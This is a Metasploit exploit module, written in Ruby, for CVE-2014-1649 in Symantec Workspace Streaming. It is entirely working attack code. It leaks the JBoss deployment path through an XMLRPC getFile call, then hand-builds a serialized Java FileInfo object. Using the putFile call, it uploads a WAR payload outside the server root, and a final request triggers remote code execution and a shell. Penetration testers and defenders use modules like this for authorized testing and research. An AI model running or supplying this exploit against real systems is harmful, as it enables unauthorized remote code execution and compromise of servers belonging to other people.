## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'rexml/document' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper include REXML def initialize(info = {}) super(update_info(info, 'Name' => 'Symantec Workspace Streaming Arbitrary File Upload', 'Description' => %q{ This module exploits a code execution flaw in Symantec Workspace Streaming. The vulnerability exists in the ManagementAgentServer.putFile XMLRPC call exposed by the as_agent.exe service, which allows for uploading arbitrary files under the server root. This module abuses the auto deploy feature in the JBoss as_ste.exe instance in order to achieve remote code execution. This module has been tested successfully on Symantec Workspace Streaming 6.1 SP8 and Windows 2003 SP2. Abused services listen on a single machine deployment, and also in the backend role in a multiple machine deployment. }, 'Author' => [ 'rgod <rgod[at]autistici.org>', # Vulnerability discovery 'juan vazquez' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2014-1649'], ['BID', '67189'], ['ZDI', '14-127'], ['URL', 'http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=&suid=20140512_00'] ], 'Privileged' => true, 'Platform' => 'java', 'Arch' => ARCH_JAVA, 'Targets' => [ [ 'Symantec Workspace Streaming 6.1 SP8 / Java Universal', {} ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'May 12 2014')) register_options( [ Opt::RPORT(9855), # as_agent.exe (afuse XMLRPC to upload arbitrary file) OptPort.new('STE_PORT', [true, "The remote as_ste.exe AS server port", 9832]), # as_ste.exe (abuse jboss auto deploy) ], self.class) end def send_xml_rpc_request(xml) res = send_request_cgi( { 'uri' => normalize_uri("/", "xmlrpc"), 'method' => 'POST', 'ctype' => 'text/xml; charset=UTF-8', 'data' => xml }) res end def build_soap_get_file(file_path) xml = Document.new xml.add_element( "methodCall", { 'xmlns:ex' => "http://ws.apache.org/xmlrpc/namespaces/extensions" }) method_name = xml.root.add_element("methodName") method_name.text = "ManagementAgentServer.getFile" params = xml.root.add_element("params") param_server_root = params.add_element("param") value_server_root = param_server_root.add_element("value") value_server_root.text = "*AWESE" param_file_type = params.add_element("param") value_file_type = param_file_type.add_element("value") type_file_type = value_file_type.add_element("i4") type_file_type.text = "0" # build path from the server root directory param_file_name = params.add_element("param") value_file_name = param_file_name.add_element("value") value_file_name.text = file_path param_file_binary = params.add_element("param") value_file_binary = param_file_binary.add_element("value") type_file_binary = value_file_binary.add_element("boolean") type_file_binary.text = "0" xml << XMLDecl.new("1.0", "UTF-8") xml.to_s end def build_soap_put_file(file) xml = Document.new xml.add_element( "methodCall", { 'xmlns:ex' => "http://ws.apache.org/xmlrpc/namespaces/extensions" }) method_name = xml.root.add_element("methodName") method_name.text = "ManagementAgentServer.putFile" params = xml.root.add_element("params") param_server_root = params.add_element("param") value_server_root = param_server_root.add_element("value") value_server_root.text = "*AWESE" param_file_type = params.add_element("param") value_file_type = param_file_type.add_element("value") type_file_type = value_file_type.add_element("i4") type_file_type.text = "0" # build path from the server root directory param_file = params.add_element("param") value_file = param_file.add_element("value") type_value_file = value_file.add_element("ex:serializable") type_value_file.text = file xml << XMLDecl.new("1.0", "UTF-8") xml.to_s end def build_soap_check_put xml = Document.new xml.add_element( "methodCall", { 'xmlns:ex' => "http://ws.apache.org/xmlrpc/namespaces/extensions" }) method_name = xml.root.add_element("methodName") method_name.text = "ManagementAgentServer.putFile" xml.root.add_element("params") xml << XMLDecl.new("1.0", "UTF-8") xml.to_s end def parse_method_response(xml) doc = Document.new(xml) file = XPath.first(doc, "methodResponse/params/param/value/ex:serializable") unless file.nil? file = Rex::Text.decode_base64(file.text) end file end def get_file(path) xml_call = build_soap_get_file(path) file = nil res = send_xml_rpc_request(xml_call) if res && res.code == 200 && res.body file = parse_method_response(res.body.to_s) end file end def put_file(file) result = nil xml_call = build_soap_put_file(file) res = send_xml_rpc_request(xml_call) if res && res.code == 200 && res.body result = parse_method_response(res.body.to_s) end result end def upload_war(war_name, war, dst) result = false java_file = build_java_file_info("#{dst}#{war_name}", war) java_file = Rex::Text.encode_base64(java_file) res = put_file(java_file) if res && res =~ /ReturnObject.*StatusMessage.*Boolean/ result = true end result end def jboss_deploy_path path = nil leak = get_file("bin/CreateDatabaseSchema.cmd") if leak && leak =~ /\[INSTALLDIR\](.*)ste\/ste.jar/ path = $1 end path end def check check_result = Exploit::CheckCode::Safe if jboss_deploy_path.nil? xml = build_soap_check_put res = send_xml_rpc_request(xml) if res && res.code == 200 && res.body && res.body.to_s =~ /No method matching arguments/ check_result = Exploit::CheckCode::Detected end else check_result = Exploit::CheckCode::Appears end check_result end def exploit print_status("#{peer} - Leaking the jboss deployment directory...") jboss_path =jboss_deploy_path if jboss_path.nil? fail_with(Exploit::Unknown, "#{peer} - Failed to disclose the jboss deployment directory") end print_status("#{peer} - Building WAR payload...") app_name = Rex::Text.rand_text_alpha(4 + rand(4)) war_name = "#{app_name}.war" war = payload.encoded_war({ :app_name => app_name }).to_s deploy_dir = "..#{jboss_path}" print_status("#{peer} - Uploading WAR payload...") res = upload_war(war_name, war, deploy_dir) unless res fail_with(Exploit::Unknown, "#{peer} - Failed to upload the war payload") end register_files_for_cleanup("../server/appstream/deploy/#{war_name}") 10.times do select(nil, nil, nil, 2) # Now make a request to trigger the newly deployed war print_status("#{rhost}:#{ste_port} - Attempting to launch payload in deployed WAR...") res = send_request_cgi( { 'uri' => normalize_uri("/", app_name, Rex::Text.rand_text_alpha(rand(8)+8)), 'method' => 'GET', 'rport' => ste_port # Auto Deploy can be reached through the "as_ste.exe" service }) # Failure. The request timed out or the server went away. break if res.nil? # Success! Triggered the payload, should have a shell incoming break if res.code == 200 end end def ste_port datastore['STE_PORT'] end # com.appstream.cm.general.FileInfo serialized object def build_java_file_info(file_name, contents) stream = "\xac\xed" # stream magic stream << "\x00\x05" # stream version stream << "\x73" # new Object stream << "\x72" # TC_CLASSDESC stream << ["com.appstream.cm.general.FileInfo".length].pack("n") stream << "com.appstream.cm.general.FileInfo" stream << "\xa3\x02\xb6\x1e\xa1\x6b\xf0\xa7" # class serial version identifier stream << "\x02" # flags SC_SERIALIZABLE stream << [6].pack("n") # number of fields in the class stream << "Z" # boolean stream << ["bLastPage".length].pack("n") stream << "bLastPage" stream << "J" # long stream << ["lFileSize".length].pack("n") stream << "lFileSize" stream << "[" # array stream << ["baContent".length].pack("n") stream << "baContent" stream << "\x74" # TC_STRING stream << ["[B".length].pack("n") stream << "[B" # field's type (byte array) stream << "L" # Object stream << ["dTimeStamp".length].pack("n") stream << "dTimeStamp" stream << "\x74" # TC_STRING stream << ["Ljava/util/Date;".length].pack("n") stream << "Ljava/util/Date;" #field's type (Date) stream << "L" # Object stream << ["sContent".length].pack("n") stream << "sContent" stream << "\x74" # TC_STRING stream << ["Ljava/lang/String;".length].pack("n") stream << "Ljava/lang/String;" #field's type (String) stream << "L" # Object stream << ["sFileName".length].pack("n") stream << "sFileName" stream << "\x71" # TC_REFERENCE stream << [0x007e0003].pack("N") # handle stream << "\x78" # TC_ENDBLOCKDATA stream << "\x70" # TC_NULL # Values stream << [1].pack("c") # bLastPage stream << [0xffffffff, 0xffffffff].pack("NN") # lFileSize stream << "\x75" # TC_ARRAY stream << "\x72" # TC_CLASSDESC stream << ["[B".length].pack("n") stream << "[B" # byte array) stream << "\xac\xf3\x17\xf8\x06\x08\x54\xe0" # class serial version identifier stream << "\x02" # flags SC_SERIALIZABLE stream << [0].pack("n") # number of fields in the class stream << "\x78" # TC_ENDBLOCKDATA stream << "\x70" # TC_NULL stream << [contents.length].pack("N") stream << contents # baContent stream << "\x70" # TC_NULL # dTimeStamp stream << "\x70" # TC_NULL # sContent stream << "\x74" # TC_STRING stream << [file_name.length].pack("n") stream << file_name # sFileName stream end end